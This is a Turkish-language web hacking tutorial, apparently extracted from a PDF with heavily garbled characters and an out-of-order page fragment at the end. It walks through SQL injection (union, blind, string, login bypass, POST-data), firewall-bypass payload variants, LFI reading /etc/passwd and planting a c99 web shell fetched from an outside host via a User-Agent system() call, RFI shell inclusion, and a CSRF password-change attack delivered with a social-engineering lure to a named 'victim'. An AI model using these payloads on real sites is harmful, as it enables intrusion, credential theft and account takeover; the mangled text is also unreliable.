wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 22: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden

10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)

Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz

Oumlnce Group_Concat Fonksiyonunu tanıyalım

Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım

wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--

Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik

table_name = Tablo isimleri

information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri

information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir

information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz

